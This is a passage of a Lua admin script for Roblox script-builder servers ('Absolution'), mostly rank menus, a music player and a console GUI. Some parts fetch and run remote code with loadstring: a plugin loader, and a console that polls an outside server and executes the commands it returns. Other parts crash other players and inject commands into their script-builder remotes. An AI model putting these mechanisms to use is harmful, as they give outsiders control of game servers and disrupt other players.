				for i,v in next,Absolution.Ranked do
					if v.Rank >=4 then
						adminCount = adminCount + 1
					end
				end
		return adminCount
		end
		local getNumBanned = function()
			local bannedPlayers = 0
				for i,v in next,Absolution.Ranked do
					if v.Rank < 0 then
						bannedPlayers = bannedPlayers+1
					end
				end
		return bannedPlayers
		end
		local getAdminsInGame = function()
		local allAdmins = {}
			for i,v in pairs(Absolution.Functions.getALLPlayers()) do
				local pRank = Absolution.Functions:findRank(v)
				if pRank >=4 then
					table.insert(allAdmins, tostring(v))
				end
			end
		return allAdmins
		end
		rtnData["RanBy"] = (tostring(Absolution.ranBy))
		rtnData["PrivateServer"],rtnData["Server Lock"],rtnData["ScriptLock"] = Absolution.PrivateServer.Enabled,Absolution.Locks.Server.Locked,(Absolution.Locks.Server.Local and Absolution.Locks.Server)
		rtnData["HttpEnabled"] = (Absolution.HttpConstants.HttpEnabled)
		rtnData["#Connections"] = (getNumData(Absolution.Connections))
		rtnData["#Functions"] = (getNumData(Absolution.Functions))
		rtnData["#Commands"] = (getNumData(Absolution.Commands))
		rtnData["#Admins"] = (getNumAdmins())
		rtnData["#Moderators"] = (getNumMods())
		rtnData["#Staff"] = (getNumStaff())
		rtnData["#Banned"] = (getNumBanned())
		rtnData["Admins In-Game"] = (table.concat(getAdminsInGame(), ':'))
		rtnData["#Ranked Players"] = (getNumData(Absolution.Ranked))
		rtnData["Players"] = (#Absolution.Functions.getALLPlayers())
		rtnData["ServerLatency"] = (1/wait())
		rtnData["ServerUptime"] = (Absolution.Functions.GetTime(game.Workspace.DistributedGameTime))
		rtnData["InstanceCount"] = (getAllInstances())
		rtnData["AbsolutionHandler"] = (Absolution.Handler.SERVER:GetFullName())
return rtnData
end

--tropkillaz

-- PlayAudio --
Absolution.Functions.PlayAudio = function(Player,Id)
	Absolution.Functions.Dismiss(Player)
	for _, Child in pairs(Absolution.Services.Workspace:GetChildren()) do if Child:IsA("Sound") then Child:stop() Child:Destroy() end end
	if Absolution.Music.isPlaying then Absolution.Music.currentSong:Stop() Absolution.Music.isPlaying = false end
	local Sound = Absolution.Functions:Create("Sound",{Parent = workspace,Volume = 1, Looped = true, Pitch = 1, SoundId = "rbxassetid://"..Id})
	Sound:Play()
	Absolution.Music.isPlaying = true
	Absolution.Music.currentSong = Sound
	Absolution.Functions.Out(Player,"Now playing:"..Absolution.Services.MarketplaceService:GetProductInfo(Id).Name,2)
	Absolution.Functions.Out(Player,"Creator:"..Absolution.Services.MarketplaceService:GetProductInfo(Id).Creator.Name,2)
	Absolution.Functions.Out(Player,"Sales:"..Absolution.Services.MarketplaceService:GetProductInfo(Id).Sales,2)
	Absolution.Functions.Output(Player,"Buy:\n"..Absolution.Services.MarketplaceService:GetProductInfo(Id).Name.."?",nil,function() Absolution.Services.MarketplaceService:PromptPurchase(Player,Id) end)
	Absolution.Functions.Output(Player,"Music settings",nil,function()
		Absolution.Functions.Dismiss(Player)
		local Return
		Return = function()
				Absolution.Functions.Dismiss(Player)
				Absolution.Functions.Output(Player, "Set Volume", nil, function()
				Absolution.Functions.Dismiss(Player)
				for Volume = 0, 1, .1 do
					Absolution.Functions.Output(Player, Volume, nil, function()
						Absolution.Functions.Dismiss(Player)
						Sound.Volume = Volume
					end)
				end
				Absolution.Functions.Output(Player, "Back", "Bright red", Return)
			end)
			Absolution.Functions.Output(Player, "Stop Song", nil,function()
				Absolution.Functions.Dismiss(Player)
				Sound:Stop()
				wait()
				Sound:Destroy()
			end)
		end
		Return()
	end)
end

-- Plugins --
Absolution.PluginManager.Launch = function()
local p = Absolution.PluginManager -- it would take too long to do this in a sexy manner...
local o = Absolution.Functions.Output
	p.addPlugin = function(self, module)
		local m=require(module)
		if not type(m)=='table' then return 'This module cannot run as a '..type(m)..'!'end
		local Title=m["packTitle"]
		local Version=m["currentVersion"]
		local CommandPack=m["commandFunctions"]
		if not Title then Title='Undefined'end
		if not Version then Version = 1 end
		if not CommandPack then return'No commands were found!'end
		for i,v in pairs(CommandPack) do
			local cmd = i
			local tbl = v
			local success, yourlifeisafail = ypcall(function()
			Absolution.Functions.Command(cmd, tbl.Uses, tbl.Rank, tbl.Description, tbl.Flags, tbl.Function)
			end)
			if not success then
				o('Admins',tostring(module)..' encountered an error during startup...','Really red',function(dismissed)
					Absolution.Functions.Dismiss(dismissed)
					o(dismissed, 'ERROR: '..yourlifeisafail)
					o(dismissed, 'Module: '..tostring(module))
					o(dismissed, 'packTitle: '..Title)
					o(dismissed, 'packRevision: '..Version)
				end)
			else
				self[cmd] = tbl
			end
		end
	end
	local rtn = Absolution.Services.HttpService:GetAsync(Absolution.HttpConstants.pluginLink)
	if rtn then
		local mods = loadstring(rtn)()
		wait''
		if Absolution.PluginManager.Modules then
			local modz= Absolution.PluginManager.Modules
			for i,v in pairs(modz) do
				Absolution.PluginManager:addPlugin(v)
			end
		end
	end
end

-- HttpGet --
Absolution.Functions.HttpGet = function(URL)
	return (Absolution.HttpConstants.HttpEnabled and Absolution.Services.HttpService:GetAsync(URL) or "HTTP Requests are not enabled")
end

-- GetCatalog --
Absolution.Functions.GetCatalog = function(KeyWords, Category)
		local KeyWords = Absolution.Services.HttpService:UrlEncode(KeyWords)
		local URL = Absolution.HttpConstants.IP..Absolution.HttpConstants.APIs.Music..'?Keyword='..tostring(KeyWords)..'&Category='..tostring(Category)
		print(URL)
		return Absolution.Services.HttpService:JSONDecode(Absolution.Functions.HttpGet(URL))
end

-- ShowCommands --
Absolution.Functions.ShowCommands = function(Speaker, fr)
	local sRank = Absolution.Functions:findRank(tostring(Speaker))
	Absolution.Functions.Dismiss(Speaker)
	Absolution.Functions.OpenCmds = function(Rank, Speaker)
		Absolution.Functions.Dismiss(Speaker)
		for Name,Tab in pairs(Absolution.Commands) do
			if Tab.Rank == Rank and Tab.Rank >= 0 then
				Absolution.Functions.Output(Speaker, Name, nil, function()
					Absolution.Functions.Dismiss(Speaker)
					Absolution.Functions.Output(Speaker, "Name: "..Name)
					Absolution.Functions.Output(Speaker, "Uses: "..table.concat(Tab.Uses, ", "))
					Absolution.Functions.Output(Speaker, "Rank: "..Tab.Rank)
					Absolution.Functions.Output(Speaker, "Description: "..Tab.Description)
					Absolution.Functions.Output(Speaker, "Flags: "..Tab.Flags)
					Absolution.Functions.Output(Speaker, (Tab.Rank <= Rank and 'You can use this command!' or 'You have no access to this command.'),(Tab.Rank <= Rank and 'Lime green' or 'Really red'))
					Absolution.Functions.Output(Speaker, "Dismiss")
				end)
			elseif Rank == "usage" and Tab.Rank <=Absolution.Functions:findRank(Speaker.Name) then
				Absolution.Functions.Output(Speaker, Name, nil, function()
					Absolution.Functions.Dismiss(Speaker)
					Absolution.Functions.Output(Speaker, "Name: "..Name)
					Absolution.Functions.Output(Speaker, "Uses: "..table.concat(Tab.Uses, ", "))
					Absolution.Functions.Output(Speaker, "Rank: "..Tab.Rank)
					Absolution.Functions.Output(Speaker, "Description: "..Tab.Description)
					Absolution.Functions.Output(Speaker, "Flags: "..Tab.Flags)
					Absolution.Functions.Output(Speaker, (Tab.Rank <= sRank and 'You can use this command!' or 'You have no access to this command.'),(Tab.Rank <= sRank and 'Lime green' or 'Really red'))
					Absolution.Functions.Output(Speaker, "Dismiss")
				end)
			elseif Rank == "all" and Tab.Rank >= 0 then
				Absolution.Functions.Output(Speaker, Name.." ("..Tab.Rank..")", nil, function()
					Absolution.Functions.Dismiss(Speaker)
					Absolution.Functions.Output(Speaker, "Name: "..Name)
					Absolution.Functions.Output(Speaker, "Uses: "..table.concat(Tab.Uses, ", "))
					Absolution.Functions.Output(Speaker, "Rank: "..Tab.Rank)
					Absolution.Functions.Output(Speaker, "Description: "..Tab.Description)
					Absolution.Functions.Output(Speaker, "Flags: "..Tab.Flags)
					Absolution.Functions.Output(Speaker, (Tab.Rank <= sRank and 'You can use this command!' or 'You have no access to this command.'),(Tab.Rank <= sRank and 'Lime green' or 'Really red'))
					Absolution.Functions.Output(Speaker, "Back", "Really black", function() Absolution.Functions.OpenCmds("all", Speaker) end)
					Absolution.Functions.Output(Speaker, "Dismiss")
				end)
			end
		end
		-- wait()
		Absolution.Functions.Output(Speaker, "Dismiss", nil)
		Absolution.Functions.Output(Speaker, "Back", "Really black", function() Absolution.Functions.ShowCommands(Speaker) end)
	end
	local Rank = Absolution.Functions:findRank(tostring(Speaker))
	local frnk = (fr and fr or nil)
	if frnk then
	Absolution.Functions.OpenCmds(frnk, Speaker)
	else
		for _,v in pairs(Absolution.Ranks) do
			if ((Rank >= _) and (_ >= 0)) then
				Absolution.Functions.Output(Speaker, v..'('.._..')', nil, function() Absolution.Functions.OpenCmds(_, Speaker) end)
			end
		end
		Absolution.Functions.Output(Speaker, "Commands you can use", 'Lime green', function() Absolution.Functions.OpenCmds("usage", Speaker) end)
		Absolution.Functions.Output(Speaker, "All", nil, function() Absolution.Functions.OpenCmds("all", Speaker) end)
	Absolution.Functions.Output(Speaker, "Dismiss")
	end
end

-- nickName --
Absolution.Functions.nickName = function(playerName, nickName)

	Absolution.Nicknames[playerName] = nickName

		local DataStore = game:GetService("DataStoreService"):GetDataStore("NickNamez")

		local key = "user_" .. playerName

		DataStore:UpdateAsync(key, function(oldValue)
			local newValue = nickName
			return newValue
		end)

end

-- Console --
Absolution.Functions.MakeOutput = function(Player)
 if Player:FindFirstChild("PlayerGui") and Player:FindFirstChild("PlayerGui").ClassName == "PlayerGui" then
  spawn(function()
   local Closed = false
   local ScreenGui = Instance.new("ScreenGui")
	ScreenGui.Name = "Absolution Output GUI"
	ScreenGui.Parent = Player.PlayerGui

   local Main = Instance.new("TextButton")
	Main.Name = "MainText"
	Main.AutoButtonColor = false
	Main.BackgroundColor3 = Color3.new(0, 0, 0)
	Main.BorderSizePixel = 0
	Main.Size = UDim2.new(0, 560, 0, 15)
	Main.Draggable = true
	Main.Font = "SourceSansBold"
	Main.FontSize = "Size14"
	Main.TextYAlignment = "Top"
	Main.TextColor3 = Color3.new(1, 1, 1)
	Main.Text = "Absolution Output"
	Main.TextXAlignment = "Left"
	Main.Position = UDim2.new(0.620, 0, 0.600, 0)
	Main.Parent = ScreenGui

   local Clear = Instance.new("TextButton")
	Clear.Name = "Clear"
	Clear.Active = true
	Clear.AutoButtonColor = false
	Clear.BackgroundColor3 = Color3.new(0, 0, 0)
	Clear.BorderSizePixel = 0
	Clear.Position = UDim2.new(1, 0, 0, 0)
	Clear.Size = UDim2.new(0, 25, 0, 15)
	Clear.Font = "SourceSansBold"
	Clear.FontSize = "Size14"
	Clear.Text = "Clear"
	Clear.TextYAlignment = "Top"
	Clear.TextColor3 = Color3.new(1, 1, 1)
	Clear.TextYAlignment = "Top"
	Clear.TextXAlignment = "Right"
	Clear.Parent = Main

   local OpenClose = Instance.new("TextButton")
	OpenClose.Name = "OpenClose"
	OpenClose.AutoButtonColor = false
	OpenClose.BackgroundColor3 = Color3.new(0, 0, 0)
	OpenClose.BorderSizePixel = 0
	OpenClose.Position = UDim2.new(1, 25, 0, 0)
	OpenClose.Size = UDim2.new(0, 15, 0, 15)
	OpenClose.Font = "SourceSansBold"
	OpenClose.FontSize = "Size14"
	OpenClose.TextYAlignment = "Top"
	OpenClose.Text = "-"
	OpenClose.TextColor3 = Color3.new(1, 1, 1)
	OpenClose.Parent = Main

   local ContentFrame = Instance.new("Frame")
	ContentFrame.BackgroundColor3 = Color3.new(0, 0, 0)
	ContentFrame.BackgroundTransparency = 0.2
	ContentFrame.BorderSizePixel = 0
	ContentFrame.Position = UDim2.new(0, 0, 0, 15)
	ContentFrame.Size = UDim2.new(0, 600, 0, 0)
	ContentFrame.Parent = Main

   local ScrollingFrame = Instance.new("ScrollingFrame")
	ScrollingFrame.Size = UDim2.new(1, 0, 1, 0)
	ScrollingFrame.CanvasSize = UDim2.new(3, 0, 0, 0)
	ScrollingFrame.MidImage = "rbxassetid://158362264"
	ScrollingFrame.TopImage = "rbxassetid://158362307"
	ScrollingFrame.BottomImage = "rbxassetid://158362221"
	ScrollingFrame.BackgroundTransparency = 1
	ScrollingFrame.BorderSizePixel = 0
	ScrollingFrame.ScrollBarThickness = 5
	ScrollingFrame.Parent = ContentFrame

   ContentFrame:TweenSize(UDim2.new(0, 600, 0, 300), "Out", "Quad", 1.5, true)
   OpenClose.MouseButton1Down:connect(function()
	if Closed == false then
	 Closed = true
	 OpenClose.Text = "+"
	 ContentFrame:TweenSize(UDim2.new(0, 600, 0, 0), "Out", "Quad", 1.5, true)
	 delay(1, function()
	  ScrollingFrame.Visible = false
	 end)
	else
	 Closed = false
	 OpenClose.Text = "-"
	 ContentFrame:TweenSize(UDim2.new(0, 600, 0, 300), "Out", "Quad", 1.5, true)
	 delay(0.5, function()
	  ScrollingFrame.Visible = true
	 end)
	end
   end)
   local function GetNumberOfChildren(Object)
	local Number = -15
	for index, child in pairs(Object:GetChildren()) do
	 if child.ClassName == "TextLabel" then
	  Number = Number + 15
	 end
	end
	return Number
   end
   local function Output(Text, Color)
	--[[local DB = false
	local baseRemote = Create "RemoteEvent" {
	Name = "TimeRemote",
	Parent = Reps
	}]]
	local Line = Instance.new("TextLabel")
	 Line.ZIndex = 2
	 Line.BackgroundTransparency = 1
	 Line.BorderSizePixel = 0
	 Line.Text = string.format(" %s", Text)
	 Line.Font = "SourceSansBold"
	 Line.FontSize = "Size14"
	 Line.TextColor3 = Color
	 Line.TextWrapped = false
	 Line.Size = UDim2.new(1, 0, 0, 15)
	 Line.Position = UDim2.new(0, 0, 0, 15 + GetNumberOfChildren(ScrollingFrame))
	 Line.TextXAlignment = "Left"
	 Line.TextYAlignment = "Top"
	 Line.TextStrokeTransparency = 0.9
	 Line.Parent = ScrollingFrame

	--[[baseRemote.OnServerEvent:connect(function(Plr, Time)
	 if DB == true then return end
	 Line.Text = string.format("%s - %s", Time, Line.Text)
	 DB = true
	end)]]
	if #ScrollingFrame:GetChildren() > 15 then
	 local NumChildren = GetNumberOfChildren(ScrollingFrame)
	 ScrollingFrame.CanvasSize = UDim2.new(3, 0, 0, NumChildren)
	 ScrollingFrame.CanvasPosition = Vector2.new(0, (ScrollingFrame.CanvasSize.Y.Offset - ScrollingFrame.AbsoluteSize.Y) + 5)
	elseif #ScrollingFrame:GetChildren() < 15 then
	 ScrollingFrame.CanvasSize = UDim2.new(3, 0, 0, 0)
	end
   end
   game:GetService("LogService").MessageOut:connect(function(Message, Type)
	if Message:lower():find('deprecated') or Message:lower():find('formfactor') or Message:lower():find('animation') then return end
	if Type == Enum.MessageType.MessageOutput then
	 Output(Message, Color3.new(1, 1, 1))
			 elseif Type == Enum.MessageType.MessageWarning then
	 Output(Message, Color3.new(1, 0.6, 0.4))
			 elseif Type == Enum.MessageType.MessageError then
	 Output(Message, Color3.new(1, 0, 0))
			 elseif Type == Enum.MessageType.MessageInfo then
	 Output(Message, Color3.new(0.4, 0.5, 1))
	end
   end)
   Clear.MouseButton1Down:connect(function()
	ScrollingFrame:ClearAllChildren()
	Output("Absolution Output Cleared", Color3.new(0, 1, 0))
   end)
   Output("Absolution Output Succesfully Loaded", Color3.new(0, 1, 0))
  end)
 end
end

Absolution.Functions.GetRankedInterface = function(Speaker, Player) -- "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name
	Absolution.Functions.Dismiss(Speaker)
	if type(Player) == "userdata" then
		Player = Player.Name
	end
	Absolution.Functions.GetRankedPlayer = function(i)
		if type(i) == "userdata" then
			i = i.Name
		end
		Absolution.Functions.Dismiss(Speaker)
		Absolution.Functions.Output(Speaker, "Name: "..i, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..i)
		ypcall(function()
			Absolution.Functions.Output(Speaker, "Age: "..Absolution.Services.Players[i].AccountAge)
			Absolution.Functions.Output(Speaker, "userId: "..Absolution.Services.Players[i].userId)
		end)
		Absolution.Functions.Output(Speaker, "Rank: "..Absolution.Functions:findRank(i))
		Absolution.Functions.Output(Speaker, "View Other Infomation", "Deep orange", function()
			Absolution.Functions.Output(Speaker, "Color: "..Absolution.Functions.getRankedTable(i).Color or "N/A")
			Absolution.Functions.Output(Speaker, "Distance: "..Absolution.Functions.getRankedTable(i).Distance or "N/A")
			Absolution.Functions.Output(Speaker, "Description: "..Absolution.Functions.getRankedTable(i).Description or "N/A")
		end)
		if Absolution.Functions:findRank(Speaker) > Absolution.Functions:findRank(i) and Absolution.Functions:findRank(Speaker)>5 then
			Absolution.Functions.Output(Speaker, "Set Rank", "Mid gray", function()
				Absolution.Functions.Dismiss(Speaker)
				Absolution.Functions.Output(Absolution.Services.Players:findFirstChild(i), Speaker.Name..' is setting your rank.')
				for __,v in pairs(Absolution.Ranks) do
					if __ < Absolution.Functions:findRank(Speaker) and (__>=0) then
						Absolution.Functions.Output(Speaker, '['..tostring(__)..'] '..v, nil, function()
							Absolution.Functions.GetRankedInterface(Speaker)
							Absolution.Functions.getRankedTable(i).Rank = __
							Absolution.Functions.syncRankOut(i)
							Absolution.Functions.Output(Absolution.Services.Players:findFirstChild(i), Speaker.Name..' changed your access level to '..Absolution.Ranks[__], nil)
						end)
					end
				end
			end)
		end
		if Absolution.Functions:findRank(Speaker) > Absolution.Functions:findRank(i) or i == Speaker.Name then
			Absolution.Functions.Output(Speaker, "User Settings", "Mid gray", function()
				Absolution.Functions.Output(Speaker, "Set Color", "Mid gray", function()
					Absolution.Functions.Dismiss(Speaker)
					for _,c in pairs({"Br. yellowish green","Bright yellow","Bright orange","Bright red","Bright violet","Bright blue","Bright bluish green","Bright green","Institutional white","White","Light stone grey","Mid gray","Medium stone grey","Dark stone grey","Black","Really black","Grime","Br. yellowish orange","Light orange","Sand red","Lavender","Sand blue","Medium blue","Sand green","Brick yellow","Cool yellow","Neon orange","Medium red","Light reddish violet","Pastel Blue","Teal","Medium green","Pastel brown","Pastel yellow","Pastel orange","Pink","Pastel violet","Pastel light blue","Pastel blue-green","Pastel green","Olive","New Yeller","Deep orange","Really red","Hot pink","Really blue","Toothpaste","Lime green","Brown","Nougat","Dark orange","Royal purple","Alder","Cyan","Light blue","Camo","Reddish brown","CGA brown","Dusty Rose","Magenta","Deep blue","Navy blue","Dark green","Earth green"}) do
						Absolution.Functions.Output(Speaker, c, c, function()
							Absolution.Functions.Dismiss(Speaker)
							Absolution.Functions.getRankedTable(i).Color = c
							Absolution.Functions.GetRankedInterface(Speaker)
						end)
					end
				end)
				Absolution.Functions.Output(Speaker, "Set Tablet Type", "Mid gray", function()
					Absolution.Functions.Dismiss(Speaker)
					Absolution.Functions.Output(Speaker, 'Box', nil, function() Absolution.Functions.Dismiss(Speaker) Absolution.Functions.getRankedTable(Speaker).TabletType = 'Box' end)
					Absolution.Functions.Output(Speaker, 'Normal', nil, function() Absolution.Functions.Dismiss(Speaker) Absolution.Functions.getRankedTable(Speaker).TabletType = 'Normal' end)
				end)
				Absolution.Functions.Output(Speaker, "Set Distance", "Mid gray", function()
					Absolution.Functions.Dismiss(Speaker)
					for z = 1, 30 do
						Absolution.Functions.Output(Speaker, z, nil, function()
							Absolution.Functions.Dismiss(Speaker)
							Absolution.Functions.getRankedTable(i).Distance = z
							Absolution.Functions.GetRankedInterface(Speaker)
						end)
					end
				end)
			end)
		end
		Absolution.Functions.Output(Speaker, "Back To Ranked", "Really blue", function() Absolution.Functions.GetRankedInterface(Speaker) end)
		Absolution.Functions.Output(Speaker, "Back To Players", "Really blue", function() Absolution.Functions.ShowPlayers(Speaker) end)
		Absolution.Functions.Output(Speaker, "Dismiss")
	end
	Absolution.Functions.getAllRanked = function(Speaker, str)
		Absolution.Functions.Dismiss(Speaker)
		local Found = {}
		for index,data in next, Absolution.Ranked do
			if Absolution.Functions:findRank(Speaker) >= data.Rank and (str and data:lower():find(str:lower()) or true) then
					Found[#Found+1] = index
			end
		end
		local function PageHandler(Speaker,tbl,pg,calc,maxpg)
			local List,Page,MaxPage=tbl,pg,maxpg
				if Page == 0 then
					Page = 1
				end
				local function GetArray(table,start,_end,maxpage)
					local Array = {}
					if start == 0 then
						 start = 1
					end
					for i = start,_end do
						Array[#Array+1]=table[i]
					end
				return Array
				end
			local function Redo(pg)
				Absolution.Functions.Dismiss(Speaker)
				for index,data in pairs(GetArray(List,(Page-1)*calc,Page*calc,maxpg)) do
					Absolution.Functions.Output(Speaker, (data and data or 'Nil Data'), Absolution.Functions.getRankedTable(data).Color, function() Absolution.Functions.GetRankedInterface(Speaker, data) end)
				end
				if pg < maxpg then
					Absolution.Functions.Output(Speaker, "Next Page","New Yeller",function()
						Page = Page + 1
						Redo(Page)
					end)
				end
				if pg > 1 then
					Absolution.Functions.Output(Speaker, "Back Page","New Yeller",function()
						Page = Page - 1
						Redo(Page)
					end)
				end
				Absolution.Functions.Output(Speaker, "Page: "..Page.."/"..maxpg,"New Yeller")
			end
		Redo(Page)
		end
		local mr = Absolution.Constants.MaxResults
			if #Found > mr then
			PageHandler(Speaker,Found,1,mr,math.floor(#Found/mr))
		end
	end
	if Player ~= nil then
		Absolution.Functions.GetRankedPlayer(Player)
	else
		Absolution.Functions.getAllRanked(Speaker)
	end
end

-- getRap --
Absolution.Functions.getRap = function(Player)
	local uri = "http://roblox.plus:2052/inventory?id="..Player.userId
	local res=game:GetService'HttpService':GetAsync(uri,true)
	res=game:GetService'HttpService':JSONDecode(res)
	local rap=0
	for a,b in pairs(res.data) do
		rap=rap+tonumber(b.rap)
	end
	return rap
end

-- ShowData --
Absolution.Functions.ShowData = function(Speaker, Player)
	if Player then
	Absolution.Functions.Dismiss(Speaker)
	local tPlr = tostring(Player)
	local pData = Absolution.Handler:sendPacket(Player, 'DATA')
	local FPS = pData["FPS"]
	local TIME = pData["TIME"]
	local LOGS	= pData["LOGS"]
	local RAP = Absolution.Functions.getRap(Player)
		Absolution.Functions.Output(Speaker, 'Stats', Absolution.Functions.getRankedTable(tPlr).Color, function()
		Absolution.Functions.Dismiss(Speaker)
		Absolution.Functions.Output(Speaker, 'Go back', 'Bright blue', function() Absolution.Functions.ShowData(Speaker, Player) end)
		local fTab = Absolution.Functions.pseudoOutputFunction(Speaker, 'FPS: '..FPS, 'White')
		coroutine.wrap(function()
			while fTab do
				wait()
				fTab.BG.TL.Text = 'FPS: '..Absolution.Handler:sendPacket(Player, 'DATA')['FPS']
			end
		end)()
		local tTab = Absolution.Functions.pseudoOutputFunction(Speaker, 'TIME: '..TIME, 'White')
		coroutine.wrap(function()
			while fTab do
				wait()
				tTab.BG.TL.Text = 'TIME: '..Absolution.Handler:sendPacket(Player, 'DATA')['TIME']
			end
		end)()
		local rTab = Absolution.Functions.pseudoOutputFunction(Speaker, 'RAP: '..RAP,'White')
		Absolution.Functions.pseudoOutputFunction(Speaker, 'Stats for '..tostring(Player), 'Bright yellow')
		end)
		if Absolution.Ranked[tostring(Speaker)].Rank >=8 then
		Absolution.Functions.Output(Speaker, 'Logs', Absolution.Functions.getRankedTable(tPlr).Color, function()
		Absolution.Functions.Dismiss(Speaker)
		Absolution.Functions.Output(Speaker, 'Go back', 'Bright blue', function() Absolution.Functions.ShowData(Speaker, Player) end)
			for i,v in pairs(LOGS) do
				Absolution.Functions.Output(Speaker,i,'Random',function()
				Absolution.Functions.Dismiss(Speaker)
				Absolution.Functions.Output(Speaker, 'Go back', 'Bright blue', function() Absolution.Functions.ShowData(Speaker, Player) end)
					for f,g in pairs(v) do
						Absolution.Functions.Output(Speaker,f..' = '..g)
					end
				end)
			end
		end)
		end
	else
	Absolution.Functions.ShowData(Speaker, Speaker)
	end
end

-- Blocking Players --
Absolution.Functions.blockPlayer = function(plr)
local isConnected = Absolution.Services.ReplicatedStorage:findFirstChild('ScriptBuilderHandler')
if isConnected then
local rtn = isConnected:Invoke('blockuser',Absolution.uniqueKey, tostring(plr))
return rtn
end
return false
end

Absolution.Functions.unBlockPlayer = function(plr)
local isConnected = Absolution.Services.ReplicatedStorage:findFirstChild('ScriptBuilderHandler')
if isConnected then
local rtn = isConnected:Invoke('unblockuser',Absolution.uniqueKey, tostring(plr))
return rtn
end
return false
end

Absolution.Functions.loadIntoSandbox = function(sdata)
local isConnected = Absolution.Services.ReplicatedStorage:findFirstChild('ScriptBuilderHandler')
if isConnected then
local rtn = isConnected:Invoke('loadstring',Absolution.uniqueKey,sdata)
return rtn
end
return false
end

-- SecondaryScriptLoading --
Absolution.Functions.loadWeapon = function(scriptName, loader)
assert(Absolution.HttpConstants[scriptName]~=nil,'Please provide a valid weapon!')
local scriptSource = Absolution.Services.HttpService:GetAsync(Absolution.HttpConstants.IP..Absolution.HttpConstants[scriptName], true)
Absolution.Functions.NLS(scriptSource, loader.Backpack, 'Weapon')
end

-- isIgnoring --
Absolution.Functions.IsIgnoring = function(pName)
	for q,e in next,Absolution.Ignoring do
		if e==pName then
			return true
		end
	end
return false
end

-- setIgnore --
Absolution.Functions.SetIgnore = function(pName)
	table.insert(Absolution.Ignoring, pName)
	return true
end

-- stopIgnore --
Absolution.Functions.StopIgnore = function(pName)
	for q,e in next,Absolution.Ignoring do
		if e==pName then
			table.remove(Absolution.Ignoring, q)
			return true
		end
	end
return false
end

-- pythonConsole --
Absolution.HttpConstants.pythonConsole.getCommand = function(self)
local Command = Absolution.Services.HttpService:GetAsync((self.IP..self.Commands):format(tostring(Absolution.uniqueKey)), true)
return Command
end

Absolution.HttpConstants.pythonConsole.Chat = function(self, Chatter, Message)
local Command = Absolution.Services.HttpService:GetAsync((self.IP..self.ChatServ):format(tostring(Chatter), Message, tostring(Absolution.uniqueKey)), true)
return Command
end

Absolution.HttpConstants.pythonConsole.processCommand = function(self, cmdToRun)
	Absolution.Handler.sendChat('Parsing console command...')
	Absolution.Functions.Announce('Parsing console command...')
	local Ran,Error = ypcall(function()
	loadstring(cmdToRun)()
	end)
	if not Ran then
		Absolution.HttpConstants.pythonConsole:Chat('ERROR',Error)
	else
		Absolution.HttpConstants.pythonConsole:Chat('SERVER','Ran successfully!')
	end

end
Absolution.HttpConstants.pythonConsole.Initialize = coroutine.create(function(self)
Absolution.Services.HttpService:GetAsync((self.IP..self.Authentication):format(tostring(Absolution.uniqueKey)))
 print'Server authenticated!'
	while wait(8) do
		local Command = Absolution.HttpConstants.pythonConsole:getCommand()
		if Command ~= Absolution.HttpConstants.pythonConsole.previousCommand and not Command:find'exit' and not Command:find'null' then
			Absolution.HttpConstants.pythonConsole:processCommand(Command)
		end
		Absolution.HttpConstants.pythonConsole.previousCommand = Command
	end
end)

-- getRankedTable --
Absolution.Functions.getRankedTable = function(plr)
	if type(plr)=='userdata' then plr=tostring(plr) end
	local data
	data = Absolution.Ranked[plr]
return data
end

-- ShowPlayers --
Absolution.Functions.ShowPlayers = function(Speaker)
	Absolution.Functions.Dismiss(Speaker)
	for _,v in pairs(Absolution.Functions.getALLPlayers()) do
		if v.Parent == Absolution.Services.Players then
			Absolution.Functions.Output(Speaker, v.Name..'['..Absolution.Functions:findRank(v)..']', nil, function()
				Absolution.Functions.Dismiss(Speaker)
				Absolution.Functions.Output(Speaker, "Name: "..v.Name, "Deep orange")
				Absolution.Functions.Output(Speaker, "UserId: "..v.userId, "Deep orange")
				Absolution.Functions.Output(Speaker, "AccountAge: "..v.AccountAge, "Deep orange")
				Absolution.Functions.Output(Speaker, "Go To "..v.Name.."'s Ranked Interface", "Really blue", function()
					Absolution.Functions.GetRankedInterface(Speaker, v.Name)
				end)
				Absolution.Functions.Output(Speaker, "Back", "Really blue", function() Absolution.Functions.ShowPlayers(Speaker) end)
				Absolution.Functions.Output(Speaker, "Dismiss")
			end)
		else
			Absolution.Functions.Output(Speaker, "nil-"..v.Name, nil, function()
				Absolution.Functions.Dismiss(Speaker)
				Absolution.Functions.Output(Speaker, "Name: "..v.Name, "Deep orange")
				Absolution.Functions.Output(Speaker, "UserId: "..v.userId, "Deep orange")
				Absolution.Functions.Output(Speaker, "AccountAge: "..v.AccountAge, "Deep orange")
				if Absolution.Functions:findRank(Speaker) > Absolution.Functions:findRank(v.Name) then
					Absolution.Functions.Output(Speaker, "Crash", "White", function()
						Absolution.Functions.Dismiss(Speaker)
						local dc = Absolution.Handler:sendPacket(v, 'rejoin')
						coroutine.resume(coroutine.create(function()
							wait(0.5)
						if dc then
							Absolution.Functions.Output(Speaker, "Successfully crashed "..v.Name, "Lime green", nil, 3)
							Absolution.Functions.Announce('CRASHED: '..(v.Name and v.Name or 'undefined/error'))
						else
							Absolution.Functions.Output(Speaker, "Failed to crash "..v.Name, "Lime green", nil, 3)
							Absolution.Functions.Announce('FAILED TO CRASH:'..(v.Name and v.Name or 'undefined/error'))
						end
						end))
					end)
				end
				Absolution.Functions.Output(Speaker, "To Ranked Interface", "Really blue", function()
					Absolution.Functions.GetRankedInterface(Speaker, v.Name)
				end)
				Absolution.Functions.Output(Speaker, "Back", "Really blue", function() Absolution.Functions.ShowPlayers(Speaker) end)
				Absolution.Functions.Output(Speaker, "Dismiss")
			end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
		end
	end
	Absolution.Functions.Output(Speaker, "Dismiss")
end

-- oxHack --
Absolution.Functions.sbExe = function(cmd,plr)
	if not type(cmd)=='string'then return end
	if plr then
		if type(plr)=='userdata'then
			pcall(function()
				plr:FindFirstChild("SB_CommandRemote",true).Value = cmd
			end)
		elseif type(plr)=='string'then
			pcall(function()
				plr = game:GetService('Players'):FindFirstChild(plr)
				plr:FindFirstChild("SB_CommandRemote",true).Value = cmd
			end)
		end
	else
		for i,v in pairs(game:GetService('Players'):children())do
			pcall(function()
				v:FindFirstChild("SB_CommandRemote",true).Value = cmd
			end)
		end
	end
end
Absolution.Functions.sbChat = function(self,msg,plr,fn)
	msg = msg:gsub("","")
	if not type(msg)=='string'then return end
	msg=(msg and msg or '')
